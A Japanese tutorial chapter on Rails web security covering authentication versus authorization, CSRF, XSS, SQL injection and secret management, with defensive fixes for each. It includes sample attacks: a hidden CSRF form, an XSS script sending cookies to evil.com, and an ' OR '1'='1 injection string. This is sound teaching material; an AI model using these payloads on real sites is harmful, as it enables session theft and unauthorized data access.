0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

第20章|今さら学ぶ「セキュリティ」

0
Last updated at Posted at 2026-02-25

第20章|今さら学ぶ「セキュリティ」

📚 シリーズ目次はこちら → 「今さら学ぶ」シリーズ — はじめに
🗺️ KnowledgeNoteの設計を確認 → 設計マップ

この章でわかること

  • 認証と認可の違い — 「あなたは誰?」と「何をしていい?」
  • CSRF — 勝手に注文される恐怖
  • XSS — 悪意のあるスクリプトを仕込まれる攻撃
  • SQLインジェクション — DBに不正な命令を送り込む攻撃
  • 環境変数の管理 — 鍵を玄関に置きっぱなしにしない
  • credentials / master key — Rails標準の「金庫」で秘密情報を保管する

🏠 たとえ話で掴む「Webセキュリティ」

Webセキュリティは 家の防犯 にたとえるとわかりやすいです。

家の防犯             Webセキュリティ
─────────────────────────────────────
玄関の鍵             パスワード(認証)
「家族しか入れない」  認可(権限チェック)
偽の宅配業者         CSRF(なりすまし攻撃)
郵便受けに爆竹       XSS(悪意のあるスクリプト)
合鍵を勝手に作る     SQLインジェクション
鍵を玄関マットの下に  環境変数の管理ミス
金庫に保管           credentials(暗号化された設定ファイル)

攻撃手法の名前は難しそうですが、やっていることは「なりすまし」「不正な入力」「秘密情報の漏洩」の3パターンに集約されます。


🔐 認証と認可 — 2つの異なる概念

認証(Authentication)認可(Authorization) は似ていますが、全く別の概念です。

この2つを分離して考えるのは、 関心事が異なる ためです。認証は「全リクエストで共通のログインチェック」であるのに対し、認可は「リソースやアクションごとに異なる権限判断」です。たとえば「ログインしているか?」は全ページ共通ですが、「この記事を削除できるか?」は記事の著者か管理者かによって変わります。

認証 認可
質問 「あなたは誰?」 「あなたは何をしていい?」
確認方法 メール + パスワード ロール(admin / member 等)
英語 Authentication Authorization
Railsの実装 Devise / Rails 8 組み込み認証 Pundit / CanCanCan
たとえ ホテルのチェックイン(身分証提示) 部屋の鍵(入れる部屋が違う)

DeviseによるRailsへの認証実装は(→ 第21章で詳しく扱います)。

# 認証:ログインしているか?
before_action :authenticate_user!

# 認可:この操作をする権限があるか?
def authorize_author!
  unless @article.user == current_user || current_user.has_role?(:admin)
    redirect_to root_path, alert: "権限がありません"
  end
end

🎭 CSRF — 勝手に注文される恐怖

CSRF(Cross-Site Request Forgery)とは

CSRF は、ログイン中のユーザーに 意図しない操作をさせる 攻撃です。

たとえ話:あなたがAmazonにログインした状態で、悪意のあるサイトを開いたとします。そのサイトに「Amazonで100万円の商品を購入する」という見えないフォームが仕込まれていたら、あなたのログイン状態を悪用して勝手に購入されてしまいます。

<!-- 悪意のあるサイトに仕込まれた見えないフォーム -->
<form action="https://knowledgenote.example.com/articles/1" method="post">
  <input type="hidden" name="_method" value="delete">
  <input type="submit" value="可愛い猫の写真を見る">  <!-- 見た目はリンク -->
</form>
<!-- ↑ クリックすると記事が削除されてしまう! -->

Railsの対策:CSRFトークン

Railsは CSRFトークン で対策しています。フォーム送信時に「この操作は本人が意図したものだ」という証拠(トークン)を自動で付与し、サーバ側で検証します。

<%# Railsの form_with は自動でCSRFトークンを埋め込む %>
<%= form_with(model: @article) do |f| %>
  <%# 生成されるHTML(トークンが自動付与) %>
  <%# <input type="hidden" name="authenticity_token" value="abc123..."> %>
<% end %>
# application_controller.rb(デフォルトで有効)
class ApplicationController < ActionController::Base
  # CSRFトークンの検証が自動で行われる
  # 外部からの偽造リクエストは弾かれる
end

この仕組みのおかげで、Railsアプリでは 特別なコードを書かなくてもCSRF対策がデフォルトで有効 です。

⚠️ APIモード(ActionController::API を継承した場合)ではCSRFトークンの検証が無効になります。API設計については第27章で扱います。


💉 XSS — 悪意のあるスクリプトを仕込まれる

XSS(Cross-Site Scripting)とは

XSS は、ユーザーが入力したデータの中に JavaScriptコード を仕込み、他のユーザーのブラウザで実行させる攻撃です。

# 攻撃者がコメント欄に以下を投稿する
"<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>"
# → 他のユーザーがこのコメントを含むページを開くと、
#    攻撃者のサイトにCookie(セッション情報)が送信されてしまう

Railsの対策:自動エスケープ

Railsの ERBは、 <%= %> で出力する値を自動でHTMLエスケープ します。

<%# ユーザーが入力した値 %>
<%= comment.body %>
<%# "<script>alert('XSS')</script>" と入力されても… %>
<%# → "&lt;script&gt;alert('XSS')&lt;/script&gt;" と表示される %>
<%# → JavaScriptは実行されない! %>

<&lt; に、>&gt; に変換されるため、ブラウザはスクリプトとして解釈しません。

注意:html_safe / raw は危険

# ❌ 危険 — ユーザー入力にhtml_safeを使ってはいけない
<%= comment.body.html_safe %>
# → エスケープが無効化され、スクリプトが実行される!

# ✅ 安全 — Railsのデフォルトに任せる
<%= comment.body %>

# ✅ Markdownの場合 — sanitizeと組み合わせる
<%= sanitize(markdown(article.body)) %>

html_saferaw はエスケープを無効化するメソッドです。 ユーザー入力に対しては絶対に使わない。信頼できるコード(自分で生成したHTML等)にだけ使います。


🗃️ SQLインジェクション — DBに不正命令を送り込む

SQLインジェクションとは

SQLインジェクション は、フォームの入力欄にSQL文を仕込み、DBに不正な命令を実行させる攻撃です。

# ❌ 危険なコード — ユーザー入力をSQLに直接埋め込む
User.where("email_address = '#{params[:email]}'")

# 攻撃者が params[:email] に以下を入力する
"' OR '1'='1"

# 生成されるSQL
# SELECT * FROM users WHERE email_address = '' OR '1'='1'
# → '1'='1' は常にtrue → 全ユーザーのデータが返ってしまう!

Railsの対策:プレースホルダー

# ✅ 安全 — プレースホルダーを使う
User.where("email_address = ?", params[:email])
# → 入力値がエスケープされ、SQLとして解釈されない

# ✅ さらに安全 — ハッシュ記法を使う(推奨)
User.where(email_address: params[:email])
# → ActiveRecordが安全なSQLを自動生成

ルール:ユーザー入力を文字列展開(#{})でSQLに埋め込まない。 プレースホルダー(?)かハッシュ記法を使います。


🔑 環境変数の管理 — 鍵を玄関に置きっぱなしにしない

APIキーやDBのパスワードなどの 秘密情報 は、コードに直接書いてはいけません。

# ❌ 絶対にやってはいけない
RESEND_API_KEY = "re_abc123xyz789"  # ← GitHubに公開されたら終わり

# ✅ 環境変数から読み込む
RESEND_API_KEY = ENV["RESEND_API_KEY"]

環境変数は .env ファイル(dotenv gem)やRenderの環境変数設定画面で管理します。

# Gemfile
gem "dotenv-rails", groups: [:development, :test]
# .env(開発環境用)
RESEND_API_KEY=re_abc123xyz789
DATABASE_URL=postgres://localhost/knowledgenote_dev

⚠️ .env ファイルは必ず .gitignore に追加してください。Gitにコミットすると秘密情報がGitHubに公開されてしまいます。


🏦 credentials / master key — Rails標準の「金庫」

Rails 5.2 以降では、 credentials (認証情報ファイル)という仕組みがあります。秘密情報を暗号化してGitにコミットできる「金庫」です。

仕組み

config/credentials.yml.enc    ← 暗号化された設定ファイル(Gitにコミット可能)
config/master.key             ← 金庫の鍵(Gitにコミット禁止!)

credentials.yml.enc は暗号化されているので、中身を見るには master.key が必要です。master.key はGitにコミットせず、本番環境では環境変数 RAILS_MASTER_KEY で渡します。

使い方

# credentials を編集する
$ EDITOR=vim rails credentials:edit
# config/credentials.yml.enc の中身(復号後)
resend:
  api_key: re_abc123xyz789

aws:
  access_key_id: AKIA...
  secret_access_key: wJal...

secret_key_base: 64文字のランダム文字列...
# Rubyコードからアクセス
Rails.application.credentials.resend[:api_key]
# => "re_abc123xyz789"

Rails.application.credentials.dig(:aws, :access_key_id)
# => "AKIA..."

環境変数 vs credentials の使い分け

環境変数 credentials
保存場所 OS / ホスティングサービス credentials.yml.enc(暗号化ファイル)
Gitにコミット しない する(暗号化されているのでOK)
チーム共有 各自が個別に設定 Gitで自動共有(鍵は別途共有)
向いている場面 環境ごとに値が違う設定 全環境で共通の秘密情報

🛠️ KnowledgeNoteでのセキュリティ対策まとめ

# ① CSRF対策(デフォルトで有効)
class ApplicationController < ActionController::Base
  # protect_from_forgery は Rails 標準でデフォルト有効(Rails 3.0 から)
end

# ② XSS対策(ERBの自動エスケープ)
# <%= @article.title %> → 自動でエスケープされる

# ③ SQLインジェクション対策(ハッシュ記法)
Article.where(user_id: current_user.id)  # 安全

# ④ Mass Assignment 対策 — Strong Parameters(→ [第14章](https://qiita.com/harapeco-mgn/items/9c033b20f56250d0edb0)で詳解)
# ユーザーが送信したパラメータを無制限に受け入れると、
# admin フラグなど本来変更できないはずの値を改ざんされる危険がある。
# params.expect で「許可するキーだけ」を明示的に指定する。
def article_params
  params.expect(article: [:title, :body, :published])
end

# ⑤ credentials で秘密情報を管理
# config/credentials.yml.enc に API キー等を暗号化保存

# ⑥ sessionsテーブルでセッション管理(Rails 8)
class Session < ApplicationRecord
  belongs_to :user
end

💼 面接で聞かれたら?

Q:CSRF・XSS・SQLインジェクションについて説明してください。

「CSRFはログイン中のユーザーに意図しない操作をさせる攻撃で、Railsではフォーム送信時に自動付与されるCSRFトークンで防ぎます。XSSはユーザー入力に悪意のあるスクリプトを仕込む攻撃で、RailsのERBは出力を自動エスケープすることで防ぎます。SQLインジェクションはフォーム入力にSQLを仕込む攻撃で、ActiveRecordのプレースホルダーやハッシュ記法を使うことで防ぎます。いずれもRailsにはデフォルトの防御機構が備わっています。」

深掘りされたら:

  • 「認証と認可の違いは?」→ 認証は「誰であるか」の確認(ログイン)。認可は「何をしてよいか」の確認(権限チェック)。それぞれDevise/Punditなどで実装する。
  • 「credentialsとは?」→ 秘密情報を暗号化してGitにコミットできるRails標準の仕組み。master.keyで復号する。環境変数と違い、チーム全員がGit経由で同じ秘密情報を共有できる。

🔗 もっと深く知りたい人へ(1次情報リンク)


まとめ

  • ✅ 認証(Authentication)は「誰か」、認可(Authorization)は「何をしていいか」
  • ✅ CSRF対策:Railsが自動でトークンを検証。開発者は特別な対応不要
  • ✅ XSS対策:ERBの <%= %> が自動エスケープ。html_safe はユーザー入力に使わない
  • ✅ SQLインジェクション対策:ハッシュ記法 or プレースホルダーを使い、文字列展開を避ける
  • ✅ 秘密情報は環境変数か credentials で管理。コードに直接書かない
  • ✅ Railsはデフォルトで主要な攻撃に対する防御機構を備えている

📚 シリーズ目次:「今さら学ぶ」シリーズ — はじめに

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?